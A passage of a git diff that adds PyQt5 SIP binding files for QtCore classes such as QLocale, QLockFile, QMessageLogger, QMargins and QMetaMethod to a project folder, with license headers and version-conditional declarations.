(Qt_5_1_0 -) + LannaScript, +%End +%If (Qt_5_1_0 -) + LepchaScript, +%End +%If (Qt_5_1_0 -) + LimbuScript, +%End +%If (Qt_5_1_0 -) + LinearBScript, +%End +%If (Qt_5_1_0 -) + LycianScript, +%End +%If (Qt_5_1_0 -) + LydianScript, +%End +%If (Qt_5_1_0 -) + MandaeanScript, +%End +%If (Qt_5_1_0 -) + MeiteiMayekScript, +%End +%If (Qt_5_1_0 -) + MeroiticScript, +%End +%If (Qt_5_1_0 -) + MeroiticCursiveScript, +%End +%If (Qt_5_1_0 -) + NkoScript, +%End +%If (Qt_5_1_0 -) + NewTaiLueScript, +%End +%If (Qt_5_1_0 -) + OghamScript, +%End +%If (Qt_5_1_0 -) + OlChikiScript, +%End +%If (Qt_5_1_0 -) + OldItalicScript, +%End +%If (Qt_5_1_0 -) + OldPersianScript, +%End +%If (Qt_5_1_0 -) + OldSouthArabianScript, +%End +%If (Qt_5_1_0 -) + OrkhonScript, +%End +%If (Qt_5_1_0 -) + OsmanyaScript, +%End +%If (Qt_5_1_0 -) + PhagsPaScript, +%End +%If (Qt_5_1_0 -) + PhoenicianScript, +%End +%If (Qt_5_1_0 -) + PollardPhoneticScript, +%End +%If (Qt_5_1_0 -) + RejangScript, +%End +%If (Qt_5_1_0 -) + RunicScript, +%End +%If (Qt_5_1_0 -) + SamaritanScript, +%End +%If (Qt_5_1_0 -) + SaurashtraScript, +%End +%If (Qt_5_1_0 -) + SharadaScript, +%End +%If (Qt_5_1_0 -) + ShavianScript, +%End +%If (Qt_5_1_0 -) + SoraSompengScript, +%End +%If (Qt_5_1_0 -) + CuneiformScript, +%End +%If (Qt_5_1_0 -) + SundaneseScript, +%End +%If (Qt_5_1_0 -) + SylotiNagriScript, +%End +%If (Qt_5_1_0 -) + TagalogScript, +%End +%If (Qt_5_1_0 -) + TagbanwaScript, +%End +%If (Qt_5_1_0 -) + TaiLeScript, +%End +%If (Qt_5_1_0 -) + TaiVietScript, +%End +%If (Qt_5_1_0 -) + TakriScript, +%End +%If (Qt_5_1_0 -) + UgariticScript, +%End +%If (Qt_5_1_0 -) + BrailleScript, +%End +%If (Qt_5_1_0 -) + HiraganaScript, +%End +%If (Qt_5_5_0 -) + CaucasianAlbanianScript, +%End +%If (Qt_5_5_0 -) + BassaVahScript, +%End +%If (Qt_5_5_0 -) + DuployanScript, +%End +%If (Qt_5_5_0 -) + ElbasanScript, +%End +%If (Qt_5_5_0 -) + GranthaScript, +%End +%If (Qt_5_5_0 -) + PahawhHmongScript, +%End +%If (Qt_5_5_0 -) + KhojkiScript, +%End +%If (Qt_5_5_0 -) + LinearAScript, +%End +%If (Qt_5_5_0 -) + MahajaniScript, +%End +%If (Qt_5_5_0 -) + ManichaeanScript, +%End +%If (Qt_5_5_0 -) + MendeKikakuiScript, +%End +%If (Qt_5_5_0 -) + ModiScript, +%End +%If (Qt_5_5_0 -) + MroScript, +%End +%If (Qt_5_5_0 -) + OldNorthArabianScript, +%End +%If (Qt_5_5_0 -) + NabataeanScript, +%End +%If (Qt_5_5_0 -) + PalmyreneScript, +%End +%If (Qt_5_5_0 -) + PauCinHauScript, +%End +%If (Qt_5_5_0 -) + OldPermicScript, +%End +%If (Qt_5_5_0 -) + PsalterPahlaviScript, +%End +%If (Qt_5_5_0 -) + SiddhamScript, +%End +%If (Qt_5_5_0 -) + KhudawadiScript, +%End +%If (Qt_5_5_0 -) + TirhutaScript, +%End +%If (Qt_5_5_0 -) + VarangKshitiScript, +%End +%If (Qt_5_7_0 -) + AhomScript, +%End +%If (Qt_5_7_0 -) + AnatolianHieroglyphsScript, +%End +%If (Qt_5_7_0 -) + HatranScript, +%End +%If (Qt_5_7_0 -) + MultaniScript, +%End +%If (Qt_5_7_0 -) + OldHungarianScript, +%End +%If (Qt_5_7_0 -) + SignWritingScript, +%End +%If (Qt_5_7_0 -) + AdlamScript, +%End +%If (Qt_5_7_0 -) + BhaiksukiScript, +%End +%If (Qt_5_7_0 -) + MarchenScript, +%End +%If (Qt_5_7_0 -) + NewaScript, +%End +%If (Qt_5_7_0 -) + OsageScript, +%End +%If (Qt_5_7_0 -) + TangutScript, +%End +%If (Qt_5_7_0 -) + HanWithBopomofoScript, +%End +%If (Qt_5_7_0 -) + JamoScript, +%End + }; + + enum CurrencySymbolFormat + { + CurrencyIsoCode, + CurrencySymbol, + CurrencyDisplayName, + }; + + QLocale(QLocale::Language language, QLocale::Script script, QLocale::Country country); + QLocale::Script script() const; + QString bcp47Name() const; + QString nativeLanguageName() const; + QString nativeCountryName() const; + Qt::DayOfWeek firstDayOfWeek() const; + QList weekdays() const; + QString toUpper(const QString &str) const; + QString toLower(const QString &str) const; + QString currencySymbol(QLocale::CurrencySymbolFormat format = QLocale::CurrencySymbol) const; + QString toCurrencyString(double value /Constrained/, const QString &symbol = QString()) const; +%If (Qt_5_7_0 -) + QString toCurrencyString(double value /Constrained/, const QString &symbol, int precision) const; +%End + QStringList uiLanguages() const; + static QString scriptToString(QLocale::Script script); + static QList matchingLocales(QLocale::Language language, QLocale::Script script, QLocale::Country country); + + enum QuotationStyle + { + StandardQuotation, + AlternateQuotation, + }; + + QString quoteString(const QString &str, QLocale::QuotationStyle style = QLocale::StandardQuotation) const; + QString createSeparatedList(const QStringList &list) const; +%If (Qt_5_6_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +%If (Qt_5_7_0 -) + + enum FloatingPointPrecisionOption + { + FloatingPointShortest, + }; + +%End +%If (Qt_5_7_0 -) + void swap(QLocale &other /Constrained/); +%End + QString toString(SIP_PYOBJECT i /TypeHint="int"/) const; +%MethodCode + // Convert a Python int avoiding overflow as much as possible. + + static PyObject *zero = 0; + if (!zero) + zero = PyLong_FromLong(0); + + int rc = PyObject_RichCompareBool(a0, zero, Py_LT); + + PyErr_Clear(); + + if (rc < 0) + { + sipError = sipBadCallableArg(0, a0); + } + else if (rc) + { + #if defined(HAVE_LONG_LONG) + PY_LONG_LONG value = PyLong_AsLongLong(a0); + #else + long value = PyLong_AsLong(a0); + #endif + + if (PyErr_Occurred() && !PyErr_ExceptionMatches(PyExc_OverflowError)) + { + sipError = sipBadCallableArg(0, a0); + } + else + { + sipRes = new QString(sipCpp->toString(value)); + } + } + else + { + #if PY_MAJOR_VERSION >= 3 + #if defined(HAVE_LONG_LONG) + unsigned PY_LONG_LONG value = PyLong_AsUnsignedLongLongMask(a0); + #else + unsigned long value = PyLong_AsUnsignedLongMask(a0); + #endif + #else + #if defined(HAVE_LONG_LONG) + unsigned PY_LONG_LONG value = PyInt_AsUnsignedLongLongMask(a0); + #else + unsigned long value = PyInt_AsUnsignedLongMask(a0); + #endif + #endif + + if (PyErr_Occurred() && !PyErr_ExceptionMatches(PyExc_OverflowError)) + { + sipError = sipBadCallableArg(0, a0); + } + else + { + sipRes = new QString(sipCpp->toString(value)); + } + } +%End + + QString toCurrencyString(SIP_PYOBJECT value /TypeHint="int"/, const QString &symbol = QString()) const; +%MethodCode + // Convert a Python int avoiding overflow as much as possible. + + static PyObject *zero = 0; + if (!zero) + zero = PyLong_FromLong(0); + + int rc = PyObject_RichCompareBool(a0, zero, Py_LT); + + PyErr_Clear(); + + if (rc < 0) + { + sipError = sipBadCallableArg(0, a0); + } + else if (rc) + { + #if defined(HAVE_LONG_LONG) + PY_LONG_LONG value = PyLong_AsLongLong(a0); + #else + long value = PyLong_AsLong(a0); + #endif + + if (PyErr_Occurred() && !PyErr_ExceptionMatches(PyExc_OverflowError)) + { + sipError = sipBadCallableArg(0, a0); + } + else + { + sipRes = new QString(sipCpp->toCurrencyString(value, *a1)); + } + } + else + { + #if defined(HAVE_LONG_LONG) + unsigned PY_LONG_LONG value = PyLong_AsUnsignedLongLongMask(a0); + #else + unsigned long value = PyLong_AsUnsignedLongMask(a0); + #endif + + if (PyErr_Occurred() && !PyErr_ExceptionMatches(PyExc_OverflowError)) + { + sipError = sipBadCallableArg(0, a0); + } + else + { + sipRes = new QString(sipCpp->toCurrencyString(value, *a1)); + } + } +%End + +%If (Qt_5_10_0 -) + + enum DataSizeFormat + { + DataSizeIecFormat, + DataSizeTraditionalFormat, + DataSizeSIFormat, + }; + +%End +%If (Qt_5_10_0 -) + typedef QFlags DataSizeFormats; +%End +%If (Qt_5_10_0 -) + QString formattedDataSize(qint64 bytes, int precision = 2, QLocale::DataSizeFormats format = QLocale::DataSizeIecFormat); +%End +%If (Qt_5_13_0 -) + long toLong(const QString &s, bool *ok = 0) const; +%End +%If (Qt_5_13_0 -) + ulong toULong(const QString &s, bool *ok = 0) const; +%End +%If (Qt_5_14_0 -) + QDate toDate(const QString &string, QLocale::FormatType format, QCalendar cal) const; +%End +%If (Qt_5_14_0 -) + QTime toTime(const QString &string, QLocale::FormatType format, QCalendar cal) const; +%End +%If (Qt_5_14_0 -) + QDateTime toDateTime(const QString &string, QLocale::FormatType format, QCalendar cal) const; +%End +%If (Qt_5_14_0 -) + QDate toDate(const QString &string, const QString &format, QCalendar cal) const; +%End +%If (Qt_5_14_0 -) + QTime toTime(const QString &string, const QString &format, QCalendar cal) const; +%End +%If (Qt_5_14_0 -) + QDateTime toDateTime(const QString &string, const QString &format, QCalendar cal) const; +%End +%If (Qt_5_14_0 -) + QLocale collation() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QLocale & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QLocale & /Constrained/) /ReleaseGIL/; +QFlags operator|(QLocale::NumberOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlockfile.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlockfile.sip new file mode 100644 index 00000000..99f48411 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlockfile.sip @@ -0,0 +1,57 @@ +// qlockfile.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QLockFile +{ +%TypeHeaderCode +#include +%End + +public: + QLockFile(const QString &fileName); + ~QLockFile(); + bool lock() /ReleaseGIL/; + bool tryLock(int timeout = 0) /ReleaseGIL/; + void unlock() /ReleaseGIL/; + void setStaleLockTime(int); + int staleLockTime() const; + bool isLocked() const /ReleaseGIL/; + bool getLockInfo(qint64 *pid /Out/, QString *hostname /Out/, QString *appname /Out/) const; + bool removeStaleLockFile() /ReleaseGIL/; + + enum LockError + { + NoError, + LockFailedError, + PermissionError, + UnknownError, + }; + + QLockFile::LockError error() const; + +private: + QLockFile(const QLockFile &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlogging.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlogging.sip new file mode 100644 index 00000000..ce9b2b49 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlogging.sip @@ -0,0 +1,217 @@ +// qlogging.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +enum QtMsgType +{ + QtDebugMsg, + QtWarningMsg, + QtCriticalMsg, + QtFatalMsg, + QtSystemMsg, +%If (Qt_5_5_0 -) + QtInfoMsg, +%End +}; + +class QMessageLogContext /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + int line; + const char *file; + const char *function; + const char *category; +}; + +class QMessageLogger +{ +%TypeHeaderCode +#include +%End + + QMessageLogger(const QMessageLogger &); + +public: + QMessageLogger(); + QMessageLogger(const char *file, int line, const char *function); + QMessageLogger(const char *file, int line, const char *function, const char *category); + void debug(const char *msg) const /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->debug("%s", a0); + Py_END_ALLOW_THREADS +%End + + void warning(const char *msg) const /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->warning("%s", a0); + Py_END_ALLOW_THREADS +%End + + void critical(const char *msg) const /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->critical("%s", a0); + Py_END_ALLOW_THREADS +%End + + void fatal(const char *msg) const /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->fatal("%s", a0); + Py_END_ALLOW_THREADS +%End + +%If (Qt_5_5_0 -) + void info(const char *msg) const /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->info("%s", a0); + Py_END_ALLOW_THREADS +%End + +%End +}; + +void qCritical(const char *msg) /ReleaseGIL/; +%MethodCode + const char *file, *function; + int line = qpycore_current_context(&file, &function); + + Py_BEGIN_ALLOW_THREADS + QMessageLogger(file, line, function).critical("%s", a0); + Py_END_ALLOW_THREADS +%End + +void qDebug(const char *msg) /ReleaseGIL/; +%MethodCode + const char *file, *function; + int line = qpycore_current_context(&file, &function); + + Py_BEGIN_ALLOW_THREADS + QMessageLogger(file, line, function).debug("%s", a0); + Py_END_ALLOW_THREADS +%End + +void qErrnoWarning(int code, const char *msg) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + qErrnoWarning(a0, "%s", a1); + Py_END_ALLOW_THREADS +%End + +void qErrnoWarning(const char *msg) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + qErrnoWarning("%s", a0); + Py_END_ALLOW_THREADS +%End + +void qFatal(const char *msg) /ReleaseGIL/; +%MethodCode + const char *file, *function; + int line = qpycore_current_context(&file, &function); + + Py_BEGIN_ALLOW_THREADS + QMessageLogger(file, line, function).fatal("%s", a0); + Py_END_ALLOW_THREADS +%End + +%If (Qt_5_5_0 -) +void qInfo(const char *msg) /ReleaseGIL/; +%MethodCode + const char *file, *function; + int line = qpycore_current_context(&file, &function); + + Py_BEGIN_ALLOW_THREADS + QMessageLogger(file, line, function).info("%s", a0); + Py_END_ALLOW_THREADS +%End + +%End +void qWarning(const char *msg) /ReleaseGIL/; +%MethodCode + const char *file, *function; + int line = qpycore_current_context(&file, &function); + + Py_BEGIN_ALLOW_THREADS + QMessageLogger(file, line, function).warning("%s", a0); + Py_END_ALLOW_THREADS +%End + +SIP_PYCALLABLE qInstallMessageHandler(SIP_PYCALLABLE /AllowNone,TypeHint="Optional[Callable[[QtMsgType, QMessageLogContext, QString], None]]"/) /TypeHint="Optional[Callable[[QtMsgType, QMessageLogContext, QString], None]]"/; +%MethodCode + // Treat None as the default handler. + QtMessageHandler old = qInstallMessageHandler((a0 != Py_None) ? qtcore_MessageHandler : 0); + + // If we recognise the old handler, then return it. Otherwise return + // the default handler. This doesn't exactly mimic the Qt behaviour + // but it is probably close enough for the way it will be used. + sipRes = (old == qtcore_MessageHandler) ? qtcore_PyMessageHandler : Py_None; + Py_INCREF(sipRes); + + // Save the new Python handler. + Py_XDECREF(qtcore_PyMessageHandler); + qtcore_PyMessageHandler = a0; + Py_INCREF(qtcore_PyMessageHandler); +%End + +// Module code needed by qInstallMessageHandler(). +%ModuleCode +// The user supplied Python handler. +static PyObject *qtcore_PyMessageHandler = 0; + +// The C++ wrapper around the Python handler. +static void qtcore_MessageHandler(QtMsgType type, const QMessageLogContext &context, const QString &msg) +{ + PyObject *res; + + SIP_BLOCK_THREADS + + res = sipCallMethod(0, qtcore_PyMessageHandler, "FDD", type, sipType_QtMsgType, &context, sipType_QMessageLogContext, NULL, &msg, sipType_QString, NULL); + + Py_XDECREF(res); + + if (res != NULL && res != Py_None) + { + PyErr_SetString(PyExc_TypeError, "invalid result type from PyQt message handler"); + res = NULL; + } + + if (res == NULL) + pyqt5_err_print(); + + SIP_UNBLOCK_THREADS +} +%End +void qSetMessagePattern(const QString &messagePattern); +%If (Qt_5_4_0 -) +QString qFormatLogMessage(QtMsgType type, const QMessageLogContext &context, const QString &buf); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qloggingcategory.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qloggingcategory.sip new file mode 100644 index 00000000..bbdc0690 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qloggingcategory.sip @@ -0,0 +1,50 @@ +// qloggingcategory.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QLoggingCategory +{ +%TypeHeaderCode +#include +%End + +public: + explicit QLoggingCategory(const char *category); + QLoggingCategory(const char *category, QtMsgType severityLevel); + ~QLoggingCategory(); + bool isEnabled(QtMsgType type) const; + void setEnabled(QtMsgType type, bool enable); + bool isDebugEnabled() const; + bool isInfoEnabled() const; + bool isWarningEnabled() const; + bool isCriticalEnabled() const; + const char *categoryName() const; + QLoggingCategory &operator()(); + static QLoggingCategory *defaultCategory(); + static void setFilterRules(const QString &rules); + +private: + QLoggingCategory(const QLoggingCategory &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmargins.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmargins.sip new file mode 100644 index 00000000..0c9e9df2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmargins.sip @@ -0,0 +1,182 @@ +// qmargins.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMargins +{ +%TypeHeaderCode +#include +%End + +public: + QMargins(); + QMargins(int aleft, int atop, int aright, int abottom); + bool isNull() const; + int left() const; + int top() const; + int right() const; + int bottom() const; + void setLeft(int aleft); + void setTop(int atop); + void setRight(int aright); + void setBottom(int abottom); +%If (Qt_5_1_0 -) + QMargins &operator+=(const QMargins &margins); +%End +%If (Qt_5_1_0 -) + QMargins &operator-=(const QMargins &margins); +%End +%If (Qt_5_1_0 -) + QMargins &operator*=(int factor /Constrained/); +%End +%If (Qt_5_1_0 -) + QMargins &operator/=(int divisor /Constrained/); +%End +%If (Qt_5_1_0 -) + QMargins &operator*=(qreal factor); +%End +%If (Qt_5_1_0 -) + QMargins &operator/=(qreal divisor); +%End +%If (Qt_5_2_0 -) + QMargins &operator+=(int margin); +%End +%If (Qt_5_2_0 -) + QMargins &operator-=(int margin); +%End +}; + +bool operator==(const QMargins &m1, const QMargins &m2); +bool operator!=(const QMargins &m1, const QMargins &m2); +QDataStream &operator<<(QDataStream &, const QMargins & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QMargins & /Constrained/) /ReleaseGIL/; +%If (Qt_5_1_0 - Qt_5_3_0) +QRect operator+(const QRect &rectangle, const QMargins &margins); +%End +%If (Qt_5_1_0 - Qt_5_3_0) +QRect operator+(const QMargins &margins, const QRect &rectangle); +%End +%If (Qt_5_1_0 -) +QMargins operator+(const QMargins &m1, const QMargins &m2); +%End +%If (Qt_5_1_0 -) +QMargins operator-(const QMargins &m1, const QMargins &m2); +%End +%If (Qt_5_1_0 -) +QMargins operator*(const QMargins &margins, int factor /Constrained/); +%End +%If (Qt_5_1_0 -) +QMargins operator*(const QMargins &margins, qreal factor); +%End +%If (Qt_5_1_0 -) +QMargins operator/(const QMargins &margins, int divisor /Constrained/); +%End +%If (Qt_5_1_0 -) +QMargins operator/(const QMargins &margins, qreal divisor); +%End +%If (Qt_5_1_0 -) +QMargins operator-(const QMargins &margins); +%End +%If (Qt_5_3_0 -) +QMargins operator+(const QMargins &lhs, int rhs); +%End +%If (Qt_5_3_0 -) +QMargins operator+(int lhs, const QMargins &rhs); +%End +%If (Qt_5_3_0 -) +QMargins operator-(const QMargins &lhs, int rhs); +%End +%If (Qt_5_3_0 -) +QMargins operator+(const QMargins &margins); +%End +%If (Qt_5_3_0 -) + +class QMarginsF +{ +%TypeHeaderCode +#include +%End + +public: + QMarginsF(); + QMarginsF(qreal aleft, qreal atop, qreal aright, qreal abottom); + QMarginsF(const QMargins &margins); + bool isNull() const; + qreal left() const; + qreal top() const; + qreal right() const; + qreal bottom() const; + void setLeft(qreal aleft); + void setTop(qreal atop); + void setRight(qreal aright); + void setBottom(qreal abottom); + QMarginsF &operator+=(const QMarginsF &margins); + QMarginsF &operator-=(const QMarginsF &margins); + QMarginsF &operator+=(qreal addend); + QMarginsF &operator-=(qreal subtrahend); + QMarginsF &operator*=(qreal factor); + QMarginsF &operator/=(qreal divisor); + QMargins toMargins() const; +}; + +%End +%If (Qt_5_3_0 -) +QDataStream &operator<<(QDataStream &, const QMarginsF & /Constrained/); +%End +%If (Qt_5_3_0 -) +QDataStream &operator>>(QDataStream &, QMarginsF & /Constrained/); +%End +%If (Qt_5_3_0 -) +bool operator==(const QMarginsF &lhs, const QMarginsF &rhs); +%End +%If (Qt_5_3_0 -) +bool operator!=(const QMarginsF &lhs, const QMarginsF &rhs); +%End +%If (Qt_5_3_0 -) +QMarginsF operator+(const QMarginsF &lhs, const QMarginsF &rhs); +%End +%If (Qt_5_3_0 -) +QMarginsF operator-(const QMarginsF &lhs, const QMarginsF &rhs); +%End +%If (Qt_5_3_0 -) +QMarginsF operator+(const QMarginsF &lhs, qreal rhs); +%End +%If (Qt_5_3_0 -) +QMarginsF operator+(qreal lhs, const QMarginsF &rhs); +%End +%If (Qt_5_3_0 -) +QMarginsF operator-(const QMarginsF &lhs, qreal rhs); +%End +%If (Qt_5_3_0 -) +QMarginsF operator*(const QMarginsF &lhs, qreal rhs); +%End +%If (Qt_5_3_0 -) +QMarginsF operator*(qreal lhs, const QMarginsF &rhs); +%End +%If (Qt_5_3_0 -) +QMarginsF operator/(const QMarginsF &lhs, qreal divisor); +%End +%If (Qt_5_3_0 -) +QMarginsF operator+(const QMarginsF &margins); +%End +%If (Qt_5_3_0 -) +QMarginsF operator-(const QMarginsF &margins); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmessageauthenticationcode.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmessageauthenticationcode.sip new file mode 100644 index 00000000..80c39d3f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmessageauthenticationcode.sip @@ -0,0 +1,46 @@ +// qmessageauthenticationcode.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QMessageAuthenticationCode +{ +%TypeHeaderCode +#include +%End + +public: + QMessageAuthenticationCode(QCryptographicHash::Algorithm method, const QByteArray &key = QByteArray()); + ~QMessageAuthenticationCode(); + void reset(); + void setKey(const QByteArray &key); + void addData(const char *data, int length); + void addData(const QByteArray &data); + bool addData(QIODevice *device); + QByteArray result() const; + static QByteArray hash(const QByteArray &message, const QByteArray &key, QCryptographicHash::Algorithm method); + +private: + QMessageAuthenticationCode(const QMessageAuthenticationCode &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmetaobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmetaobject.sip new file mode 100644 index 00000000..946b60d1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmetaobject.sip @@ -0,0 +1,220 @@ +// qmetaobject.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMetaMethod +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// Raise an exception when QMetaMethod::invoke() returns false. +static void qtcore_invoke_exception() +{ + PyErr_SetString(PyExc_RuntimeError, "QMetaMethod.invoke() call failed"); +} +%End + +public: + QMetaMethod(); + const char *typeName() const; + QList parameterTypes() const; + QList parameterNames() const; + const char *tag() const; + + enum Access + { + Private, + Protected, + Public, + }; + + QMetaMethod::Access access() const; + + enum MethodType + { + Method, + Signal, + Slot, + Constructor, + }; + + QMetaMethod::MethodType methodType() const; + SIP_PYOBJECT invoke(QObject *object, Qt::ConnectionType connectionType, QGenericReturnArgument returnValue /GetWrapper/, QGenericArgument value0 = QGenericArgument(0u, 0u), QGenericArgument value1 = QGenericArgument(0u, 0u), QGenericArgument value2 = QGenericArgument(0u, 0u), QGenericArgument value3 = QGenericArgument(0u, 0u), QGenericArgument value4 = QGenericArgument(0u, 0u), QGenericArgument value5 = QGenericArgument(0u, 0u), QGenericArgument value6 = QGenericArgument(0u, 0u), QGenericArgument value7 = QGenericArgument(0u, 0u), QGenericArgument value8 = QGenericArgument(0u, 0u), QGenericArgument value9 = QGenericArgument(0u, 0u)) const; +%MethodCode + // Raise an exception if the call failed. + bool ok; + + Py_BEGIN_ALLOW_THREADS + ok = sipCpp->invoke(a0, a1, *a2, *a3, *a4, *a5, *a6, *a7, *a8, *a9, *a10, *a11, + *a12); + Py_END_ALLOW_THREADS + + if (ok) + sipRes = qpycore_ReturnValue(a2Wrapper); + else + qtcore_invoke_exception(); +%End + + SIP_PYOBJECT invoke(QObject *object, QGenericReturnArgument returnValue /GetWrapper/, QGenericArgument value0 = QGenericArgument(0u, 0u), QGenericArgument value1 = QGenericArgument(0u, 0u), QGenericArgument value2 = QGenericArgument(0u, 0u), QGenericArgument value3 = QGenericArgument(0u, 0u), QGenericArgument value4 = QGenericArgument(0u, 0u), QGenericArgument value5 = QGenericArgument(0u, 0u), QGenericArgument value6 = QGenericArgument(0u, 0u), QGenericArgument value7 = QGenericArgument(0u, 0u), QGenericArgument value8 = QGenericArgument(0u, 0u), QGenericArgument value9 = QGenericArgument(0u, 0u)) const; +%MethodCode + // Raise an exception if the call failed. + bool ok; + + Py_BEGIN_ALLOW_THREADS + ok = sipCpp->invoke(a0, *a1, *a2, *a3, *a4, *a5, *a6, *a7, *a8, *a9, *a10, + *a11); + Py_END_ALLOW_THREADS + + if (ok) + sipRes = qpycore_ReturnValue(a1Wrapper); + else + qtcore_invoke_exception(); +%End + + SIP_PYOBJECT invoke(QObject *object, Qt::ConnectionType connectionType, QGenericArgument value0 = QGenericArgument(0u, 0u), QGenericArgument value1 = QGenericArgument(0u, 0u), QGenericArgument value2 = QGenericArgument(0u, 0u), QGenericArgument value3 = QGenericArgument(0u, 0u), QGenericArgument value4 = QGenericArgument(0u, 0u), QGenericArgument value5 = QGenericArgument(0u, 0u), QGenericArgument value6 = QGenericArgument(0u, 